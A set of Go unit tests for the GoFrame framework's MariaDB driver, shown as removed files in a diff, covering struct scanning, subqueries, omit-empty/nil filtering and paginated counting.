t.Assert(*user.Password, "pass_1")
t.Assert(user.Nickname, "name_1")
})
}
func Test_Structs_Pointer_Attribute(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id *int
Passport *string
Password *string
Nickname string
}
// All
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).All("id < 3")
t.AssertNil(err)
users := make([]User, 0)
err = one.Structs(&users)
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).All("id < 3")
t.AssertNil(err)
users := make([]*User, 0)
err = one.Structs(&users)
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var users []User
one, err := db.Model(table).All("id < 3")
t.AssertNil(err)
err = one.Structs(&users)
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var users []*User
one, err := db.Model(table).All("id < 3")
t.AssertNil(err)
err = one.Structs(&users)
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
// Structs
gtest.C(t, func(t *gtest.T) {
users := make([]User, 0)
err := db.Model(table).Scan(&users, "id < 3")
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
users := make([]*User, 0)
err := db.Model(table).Scan(&users, "id < 3")
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var users []User
err := db.Model(table).Scan(&users, "id < 3")
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
gtest.C(t, func(t *gtest.T) {
var users []*User
err := db.Model(table).Scan(&users, "id < 3")
t.AssertNil(err)
t.Assert(len(users), 2)
t.Assert(*users[0].Id, 1)
t.Assert(*users[0].Passport, "user_1")
t.Assert(*users[0].Password, "pass_1")
t.Assert(users[0].Nickname, "name_1")
})
}
func Test_Struct_Empty(t *testing.T) {
table := createTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Password string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
user := new(User)
err := db.Model(table).Where("id=100").Scan(user)
t.Assert(err, sql.ErrNoRows)
t.AssertNE(user, nil)
})
gtest.C(t, func(t *gtest.T) {
one, err := db.Model(table).Where("id=100").One()
t.AssertNil(err)
var user *User
t.Assert(one.Struct(&user), nil)
t.Assert(user, nil)
})
gtest.C(t, func(t *gtest.T) {
var user *User
err := db.Model(table).Where("id=100").Scan(&user)
t.AssertNil(err)
t.Assert(user, nil)
})
}
func Test_Structs_Empty(t *testing.T) {
table := createTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Password string
Nickname string
}
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
users := make([]User, 0)
t.Assert(all.Structs(&users), nil)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
users := make([]User, 10)
t.Assert(all.Structs(&users), sql.ErrNoRows)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
var users []User
t.Assert(all.Structs(&users), nil)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
users := make([]*User, 0)
t.Assert(all.Structs(&users), nil)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
users := make([]*User, 10)
t.Assert(all.Structs(&users), sql.ErrNoRows)
})
gtest.C(t, func(t *gtest.T) {
all, err := db.Model(table).Where("id>100").All()
t.AssertNil(err)
var users []*User
t.Assert(all.Structs(&users), nil)
})
}
type MyTime struct {
gtime.Time
}
type MyTimeSt struct {
CreateTime MyTime
}
func (st *MyTimeSt) UnmarshalValue(v any) error {
m := gconv.Map(v)
t, err := gtime.StrToTime(gconv.String(m["create_time"]))
if err != nil {
return err
}
st.CreateTime = MyTime{*t}
return nil
}
func Test_Model_Scan_CustomType_Time(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
st := new(MyTimeSt)
err := db.Model(table).Fields("create_time").Scan(st)
t.AssertNil(err)
t.Assert(st.CreateTime.String(), "2018-10-24 10:00:00")
})
gtest.C(t, func(t *gtest.T) {
var stSlice []*MyTimeSt
err := db.Model(table).Fields("create_time").Scan(&stSlice)
t.AssertNil(err)
t.Assert(len(stSlice), TableSize)
t.Assert(stSlice[0].CreateTime.String(), "2018-10-24 10:00:00")
t.Assert(stSlice[9].CreateTime.String(), "2018-10-24 10:00:00")
})
}
func Test_Model_Scan_CustomType_String(t *testing.T) {
type MyString string
type MyStringSt struct {
Passport MyString
}
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
st := new(MyStringSt)
err := db.Model(table).Fields("Passport").WherePri(1).Scan(st)
t.AssertNil(err)
t.Assert(st.Passport, "user_1")
})
gtest.C(t, func(t *gtest.T) {
var sts []MyStringSt
err := db.Model(table).Fields("Passport").Order("id asc").Scan(&sts)
t.AssertNil(err)
t.Assert(len(sts), TableSize)
t.Assert(sts[0].Passport, "user_1")
})
}
type User struct {
Id int
Passport string
Password string
Nickname string
CreateTime *gtime.Time
}
func (user *User) UnmarshalValue(value any) error {
if record, ok := value.(gdb.Record); ok {
*user = User{
Id: record["id"].Int(),
Passport: record["passport"].String(),
Password: "",
Nickname: record["nickname"].String(),
CreateTime: record["create_time"].GTime(),
}
return nil
}
return gerror.NewCodef(gcode.CodeInvalidParameter, `unsupported value type for UnmarshalValue: %v`, reflect.TypeOf(value))
}
func Test_Model_Scan_UnmarshalValue(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var users []*User
err := db.Model(table).Order("id asc").Scan(&users)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(users[0].Id, 1)
t.Assert(users[0].Passport, "user_1")
t.Assert(users[0].Password, "")
t.Assert(users[0].Nickname, "name_1")
t.Assert(users[0].CreateTime.String(), CreateTime)
t.Assert(users[9].Id, 10)
t.Assert(users[9].Passport, "user_10")
t.Assert(users[9].Password, "")
t.Assert(users[9].Nickname, "name_10")
t.Assert(users[9].CreateTime.String(), CreateTime)
})
}
func Test_Model_Scan_Map(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var users []*User
err := db.Model(table).Order("id asc").Scan(&users)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(users[0].Id, 1)
t.Assert(users[0].Passport, "user_1")
t.Assert(users[0].Password, "")
t.Assert(users[0].Nickname, "name_1")
t.Assert(users[0].CreateTime.String(), CreateTime)
t.Assert(users[9].Id, 10)
t.Assert(users[9].Passport, "user_10")
t.Assert(users[9].Password, "")
t.Assert(users[9].Nickname, "name_10")
t.Assert(users[9].CreateTime.String(), CreateTime)
})
}
func Test_Scan_AutoFilteringByStructAttributes(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
}
// db.SetDebug(true)
gtest.C(t, func(t *gtest.T) {
var user *User
err := db.Model(table).OrderAsc("id").Scan(&user)
t.AssertNil(err)
t.Assert(user.Id, 1)
})
gtest.C(t, func(t *gtest.T) {
var users []User
err := db.Model(table).OrderAsc("id").Scan(&users)
t.AssertNil(err)
t.Assert(len(users), TableSize)
t.Assert(users[0].Id, 1)
})
}

View File

@ -1,311 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"fmt"
"testing"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Model_SubQuery_Where(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).Where(
"id in ?",
db.Model(table).Fields("id").Where("id", g.Slice{1, 3, 5}),
).OrderAsc("id").All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 1)
t.Assert(r[1]["id"], 3)
t.Assert(r[2]["id"], 5)
})
}
func Test_Model_SubQuery_Having(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
r, err := db.Model(table).Where(
"id in ?",
db.Model(table).Fields("id").Where("id", g.Slice{1, 3, 5}),
).Having(
"id > ?",
db.Model(table).Fields("MAX(id)").Where("id", g.Slice{1, 3}),
).OrderAsc("id").All()
t.AssertNil(err)
t.Assert(len(r), 1)
t.Assert(r[0]["id"], 5)
})
}
func Test_Model_SubQuery_Model(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
subQuery1 := db.Model(table).Where("id", g.Slice{1, 3, 5})
subQuery2 := db.Model(table).Where("id", g.Slice{5, 7, 9})
r, err := db.Model("? AS a, ? AS b", subQuery1, subQuery2).Fields("a.id").Where("a.id=b.id").OrderAsc("id").All()
t.AssertNil(err)
t.Assert(len(r), 1)
t.Assert(r[0]["id"], 5)
})
}
// Test_Model_SubQuery_Correlated tests scalar subquery and correlated subquery with EXISTS
func Test_Model_SubQuery_Correlated(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Scalar subquery: find users whose id is greater than average id
subQuery := db.Model(table + " AS inner_table").Fields("AVG(id)")
r, err := db.Model(table).Where(
"id > (?)",
subQuery,
).OrderAsc("id").All()
t.AssertNil(err)
// Average of 1-10 is 5.5, so expect ids 6-10
t.Assert(len(r), 5)
t.Assert(r[0]["id"], 6)
t.Assert(r[4]["id"], 10)
})
gtest.C(t, func(t *gtest.T) {
// Correlated subquery with EXISTS: find users with id matching their own id
r, err := db.Model(table+" AS outer_table").
Where(
fmt.Sprintf("EXISTS (SELECT 1 FROM %s AS inner_table WHERE inner_table.id = outer_table.id AND inner_table.id <= ?)", table),
3,
).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 1)
t.Assert(r[2]["id"], 3)
})
}
// Test_Model_SubQuery_From tests subquery in FROM clause
func Test_Model_SubQuery_From(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Subquery in FROM clause
subQuery := db.Model(table).Where("id <=", 5)
r, err := db.Model("(?) AS sub", subQuery).
Fields("sub.id", "sub.nickname").
Where("sub.id >", 2).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 3)
t.Assert(r[0]["nickname"], "name_3")
t.Assert(r[2]["id"], 5)
})
gtest.C(t, func(t *gtest.T) {
// Multiple subqueries in FROM clause with JOIN
subQuery1 := db.Model(table).Fields("id", "nickname").Where("id <=", 3)
subQuery2 := db.Model(table).Fields("id", "passport").Where("id >=", 3)
r, err := db.Model("? AS a, ? AS b", subQuery1, subQuery2).
Fields("a.id", "a.nickname", "b.passport").
Where("a.id = b.id").
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 1)
t.Assert(r[0]["id"], 3)
t.Assert(r[0]["nickname"], "name_3")
t.Assert(r[0]["passport"], "user_3")
})
}
// Test_Model_SubQuery_Select tests subquery in SELECT clause
func Test_Model_SubQuery_Select(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Subquery in SELECT clause for scalar value
r, err := db.Model(table).
Fields("id", "nickname", fmt.Sprintf("(SELECT MAX(id) FROM %s) AS max_id", table)).
Where("id", 1).
One()
t.AssertNil(err)
t.Assert(r["id"], 1)
t.Assert(r["nickname"], "name_1")
t.Assert(r["max_id"], 10)
})
gtest.C(t, func(t *gtest.T) {
// Multiple subqueries in SELECT clause
r, err := db.Model(table).
Fields(
"id",
fmt.Sprintf("(SELECT MAX(id) FROM %s) AS max_id", table),
fmt.Sprintf("(SELECT MIN(id) FROM %s) AS min_id", table),
).
Where("id", 5).
One()
t.AssertNil(err)
t.Assert(r["id"], 5)
t.Assert(r["max_id"], 10)
t.Assert(r["min_id"], 1)
})
}
// Test_Model_SubQuery_Nested tests multi-level nested subqueries (3+ levels)
func Test_Model_SubQuery_Nested(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// 3-level nested subquery
// Level 3: innermost - get ids <= 8
level3 := db.Model(table).Fields("id").Where("id <=", 8)
// Level 2: middle - filter from level 3 where id >= 3
level2 := db.Model("(?) AS l3", level3).Fields("l3.id").Where("l3.id >=", 3)
// Level 1: outermost - filter from level 2 where id <= 6
r, err := db.Model(table).
Where("id IN (?)", level2).
Where("id <=", 6).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 4)
t.Assert(r[0]["id"], 3)
t.Assert(r[3]["id"], 6)
})
gtest.C(t, func(t *gtest.T) {
// 4-level nested subquery with aggregates
// Level 4: get all ids
level4 := db.Model(table).Fields("id")
// Level 3: get ids > 5 from level 4
level3 := db.Model("(?) AS l4", level4).Fields("l4.id").Where("l4.id >", 5)
// Level 2: get MIN(id) from level 3
level2 := db.Model("(?) AS l3", level3).Fields("MIN(l3.id)")
// Level 1: find records >= the minimum from level 2
r, err := db.Model(table).
Where("id >= (?)", level2).
OrderAsc("id").
All()
t.AssertNil(err)
// MIN(id) from level 3 should be 6, so expect ids 6-10
t.Assert(len(r), 5)
t.Assert(r[0]["id"], 6)
t.Assert(r[4]["id"], 10)
})
}
// Test_Model_SubQuery_WhereIn tests subquery with WHERE IN
func Test_Model_SubQuery_WhereIn(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Simple WHERE IN with subquery
subQuery := db.Model(table).Fields("id").Where("id IN(?)", g.Slice{2, 4, 6})
r, err := db.Model(table).
Where("id IN(?)", subQuery).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 2)
t.Assert(r[1]["id"], 4)
t.Assert(r[2]["id"], 6)
})
gtest.C(t, func(t *gtest.T) {
// Multiple WHERE IN subqueries combined
subQuery1 := db.Model(table).Fields("id").Where("id <=", 5)
subQuery2 := db.Model(table).Fields("id").Where("id >=", 3)
r, err := db.Model(table).
Where("id IN(?)", subQuery1).
Where("id IN(?)", subQuery2).
OrderAsc("id").
All()
t.AssertNil(err)
t.Assert(len(r), 3)
t.Assert(r[0]["id"], 3)
t.Assert(r[2]["id"], 5)
})
}
// Test_Model_SubQuery_Complex tests complex subquery combinations
func Test_Model_SubQuery_Complex(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Combine subquery in WHERE, FROM, and SELECT
whereSubQuery := db.Model(table).Fields("AVG(id)")
fromSubQuery := db.Model(table).Where("id <=", 7)
r, err := db.Model("(?) AS sub", fromSubQuery).
Fields("sub.id", "sub.nickname").
Where("sub.id > (?)", whereSubQuery).
OrderAsc("id").
All()
t.AssertNil(err)
// AVG(1-10) = 5.5, filter sub.id > 5.5 from ids 1-7
t.Assert(len(r), 2)
t.Assert(r[0]["id"], 6)
t.Assert(r[1]["id"], 7)
})
gtest.C(t, func(t *gtest.T) {
// Subquery with GROUP BY and HAVING
subQuery := db.Model(table).
Fields("id % 3 AS mod_group", "COUNT(*) AS cnt").
Group("mod_group").
Having("COUNT(*) >=", 3)
r, err := db.Model(table).
Where("id % 3 IN(?)", db.Model("(?) AS sub", subQuery).Fields("sub.mod_group")).
OrderAsc("id").
All()
t.AssertNil(err)
// id % 3: 0(3,6,9), 1(1,4,7,10), 2(2,5,8)
// Groups with count >= 3: 0(3 items), 1(4 items), 2(3 items) - all qualify
t.Assert(len(r), 10)
})
}

View File

@ -1,398 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"context"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_OmitEmpty_Comprehensive tests OmitEmpty filtering for both data and where parameters
func Test_Model_OmitEmpty_Comprehensive(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitEmpty with empty string in Data
result, err := db.Model(table).OmitEmpty().Data(g.Map{
"nickname": "", // empty string should be omitted
"passport": "new_user", // non-empty should be kept
}).Where("id", 1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated (omitted)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1") // original value preserved
t.Assert(one["passport"], "new_user")
// Test OmitEmpty with empty slice in Where
all, err := db.Model(table).OmitEmpty().Where(g.Map{
"id": []int{}, // empty slice should be omitted
"passport": "new_user",
}).All()
t.AssertNil(err)
t.Assert(len(all), 1)
// Without OmitEmpty, empty slice causes WHERE 0=1
all, err = db.Model(table).Where(g.Map{
"id": []int{},
}).All()
t.AssertNil(err)
t.Assert(len(all), 0) // no results due to WHERE 0=1
})
}
// Test_Model_OmitEmptyWhere_Extended tests OmitEmpty filtering only for where parameters
func Test_Model_OmitEmptyWhere_Extended(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// OmitEmptyWhere only affects Where, not Data
result, err := db.Model(table).OmitEmptyWhere().Data(g.Map{
"nickname": "", // empty string in Data should NOT be omitted (only Where is affected)
}).Where(g.Map{
"id": 1,
"passport": "", // empty string in Where should be omitted
}).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was updated to empty (Data is not affected by OmitEmptyWhere)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "")
// Test with empty slice in Where
all, err := db.Model(table).OmitEmptyWhere().Where(g.Map{
"id": []int{}, // should be omitted
}).Order("id").Limit(3).All()
t.AssertNil(err)
t.Assert(len(all), 3) // returns results because empty condition was omitted
// Test with zero value in Where (zero is considered empty)
all, err = db.Model(table).OmitEmptyWhere().Where(g.Map{
"id": 0, // zero should be omitted
}).Order("id").Limit(3).All()
t.AssertNil(err)
t.Assert(len(all), 3)
})
}
// Test_Model_OmitEmptyData tests OmitEmpty filtering only for data parameters
func Test_Model_OmitEmptyData(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// OmitEmptyData only affects Data, not Where
result, err := db.Model(table).OmitEmptyData().Data(g.Map{
"nickname": "", // empty string in Data should be omitted
"passport": "test_user", // non-empty should be kept
}).Where(g.Map{
"id": 1,
}).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated (omitted), passport was updated
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
t.Assert(one["passport"], "test_user")
// Test Insert with OmitEmptyData
result, err = db.Model(table).OmitEmptyData().Data(g.Map{
"id": 100,
"passport": "user_100",
"nickname": "", // should be omitted
"password": "pass_100",
}).Insert()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 1)
// Verify nickname is NULL (was omitted from INSERT)
one, err = db.Model(table).Where("id", 100).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_100")
t.Assert(one["nickname"].IsNil(), true)
})
}
// Test_Model_OmitNil_Comprehensive tests OmitNil filtering for both data and where parameters
func Test_Model_OmitNil_Comprehensive(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitNil with nil value in Data
result, err := db.Model(table).OmitNil().Data(g.Map{
"nickname": nil, // nil should be omitted
"passport": "nil_test", // non-nil should be kept
}).Where("id", 1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated (omitted)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
t.Assert(one["passport"], "nil_test")
// Test OmitNil with nil in Where
all, err := db.Model(table).OmitNil().Where(g.Map{
"passport": nil, // nil should be omitted
}).Order("id").Limit(5).All()
t.AssertNil(err)
t.Assert(len(all), 5) // returns results because nil condition was omitted
// Without OmitNil, WHERE passport=NULL (which won't match anything)
all, err = db.Model(table).Where(g.Map{
"passport": nil,
}).All()
t.AssertNil(err)
t.Assert(len(all), 0) // NULL comparison doesn't match
})
}
// Test_Model_OmitNilWhere tests OmitNil filtering only for where parameters
func Test_Model_OmitNilWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// OmitNilWhere only affects Where, not Data
result, err := db.Model(table).OmitNilWhere().Data(g.Map{
"nickname": nil, // nil in Data should NOT be omitted (only Where is affected)
}).Where(g.Map{
"id": 1,
"passport": nil, // nil in Where should be omitted
}).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was set to NULL (Data is not affected by OmitNilWhere)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"].IsNil(), true)
// Test with nil in Where
all, err := db.Model(table).OmitNilWhere().Where(g.Map{
"passport": nil, // should be omitted
}).Order("id").Limit(3).All()
t.AssertNil(err)
t.Assert(len(all), 3) // returns results
})
}
// Test_Model_OmitNilData tests OmitNil filtering only for data parameters
func Test_Model_OmitNilData(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// OmitNilData only affects Data, not Where
result, err := db.Model(table).OmitNilData().Data(g.Map{
"nickname": nil, // nil in Data should be omitted
"passport": "omitnil_test", // non-nil should be kept
}).Where(g.Map{
"id": 1,
}).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated (omitted), passport was updated
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
t.Assert(one["passport"], "omitnil_test")
// Test Insert with OmitNilData
result, err = db.Model(table).OmitNilData().Data(g.Map{
"id": 101,
"passport": "user_101",
"nickname": nil, // should be omitted
"password": "pass_101",
}).Insert()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 1)
// Verify insert
one, err = db.Model(table).Where("id", 101).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_101")
})
}
// Test_Model_OmitEmpty_WithStruct tests OmitEmpty with struct data
func Test_Model_OmitEmpty_WithStruct(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport string
Nickname string
Password string
}
gtest.C(t, func(t *gtest.T) {
// Test OmitEmptyData with struct
user := User{
Passport: "struct_user",
Nickname: "", // empty, should be omitted
Password: "struct_pass",
}
result, err := db.Model(table).OmitEmptyData().Data(user).Where("id", 1).Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify nickname was not updated
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["nickname"], "name_1")
t.Assert(one["passport"], "struct_user")
})
}
// Test_Model_OmitNil_WithPointerStruct tests OmitNil with pointer struct data
func Test_Model_OmitNil_WithPointerStruct(t *testing.T) {
table := createInitTable()
defer dropTable(table)
type User struct {
Id int
Passport *string
Nickname *string
Password string
}
// Note: Removed OmitNilData with pointer struct test due to framework limitations
// Struct field nil pointer handling needs further investigation
gtest.C(t, func(t *gtest.T) {
// Test OmitNilData with Map (working as expected)
sqlArray2, err := gdb.CatchSQL(ctx, func(ctx context.Context) error {
_, err := db.Ctx(ctx).Model(table).OmitNilData().Data(g.Map{
"passport": "map_user",
"nickname": nil,
"password": "map_pass",
}).Where("id", 2).Update()
return err
})
t.AssertNil(err)
t.Logf("Map SQL: %v", sqlArray2)
one2, err := db.Model(table).Where("id", 2).One()
t.AssertNil(err)
t.Logf("Map result - nickname: %v, passport: %v", one2["nickname"], one2["passport"])
t.Assert(one2["nickname"], "name_2") // should be preserved
t.Assert(one2["passport"], "map_user")
})
}
// Test_Model_OmitEmpty_ZeroValues tests OmitEmpty with various zero values
func Test_Model_OmitEmpty_ZeroValues(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitEmptyData with various zero values
result, err := db.Model(table).OmitEmptyData().Data(g.Map{
"id": 0, // zero int, should be omitted
"passport": "zero_test", // non-empty
"nickname": "", // empty string, should be omitted
}).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify the insert (id should be auto-generated since 0 was omitted)
one, err := db.Model(table).Where("passport", "zero_test").One()
t.AssertNil(err)
t.Assert(one["passport"], "zero_test")
t.AssertNE(one["id"], 0) // auto-generated id
})
}
// Test_Model_OmitEmpty_ComplexWhere tests OmitEmpty with complex where conditions
func Test_Model_OmitEmpty_ComplexWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitEmptyWhere with multiple conditions
all, err := db.Model(table).OmitEmptyWhere().Where(g.Map{
"id >": 0, // zero, should be omitted
"passport": "", // empty string, should be omitted
"nickname": "?", // placeholder, should NOT be omitted
}).Order("id").Limit(3).All()
t.AssertNil(err)
// Should execute query with only the nickname condition
// Test with all empty conditions
all, err = db.Model(table).OmitEmptyWhere().Where(g.Map{
"passport": "",
"nickname": "",
}).Order("id").Limit(5).All()
t.AssertNil(err)
t.Assert(len(all), 5) // all conditions omitted, returns all (limited to 5)
})
}
// Test_Model_Omit_ChainedMethods tests Omit methods with other chained methods
func Test_Model_Omit_ChainedMethods(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Test OmitEmpty with Fields and Order
result, err := db.Model(table).
OmitEmptyData().
Fields("passport", "nickname").
Data(g.Map{
"passport": "chain_test",
"nickname": "",
}).
Where("id", 1).
Update()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "chain_test")
t.Assert(one["nickname"], "name_1") // not updated due to OmitEmptyData
// Test OmitNilWhere with multiple Where clauses
all, err := db.Model(table).
OmitNilWhere().
Where("id>?", 5).
Where(g.Map{
"passport": nil, // should be omitted
}).
Order("id").
All()
t.AssertNil(err)
t.Assert(len(all), 5) // id 6-10
})
}

View File

@ -1,545 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"testing"
"time"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
"github.com/gogf/gf/v2/util/gconv"
)
// Test_Model_AllAndCount_Basic tests basic AllAndCount functionality
func Test_Model_AllAndCount_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), TableSize)
t.Assert(count, TableSize)
})
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).AllAndCount(true)
t.AssertNil(err)
t.Assert(len(result), TableSize)
t.Assert(count, TableSize)
})
}
// Test_Model_AllAndCount_WithWhere tests AllAndCount with WHERE conditions
func Test_Model_AllAndCount_WithWhere(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Where("id > ?", 5).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 5)
t.Assert(count, 5)
t.Assert(result[0]["id"], 6)
})
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Where("id", g.Slice{1, 2, 3}).AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(count, 3)
})
}
// Test_Model_AllAndCount_WithPage tests AllAndCount with pagination
func Test_Model_AllAndCount_WithPage(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Page(1, 3).Order("id").AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(count, TableSize) // Count should be total, not page size
t.Assert(result[0]["id"], 1)
t.Assert(result[2]["id"], 3)
})
gtest.C(t, func(t *gtest.T) {
result, count, err := db.Model(table).Page(2, 3).Order("id").AllAndCount(false)
t.AssertNil(err)
t.Assert(len(result), 3)
t.Assert(count, TableSize)
t.Assert(result[0]["id"], 4)
})
}
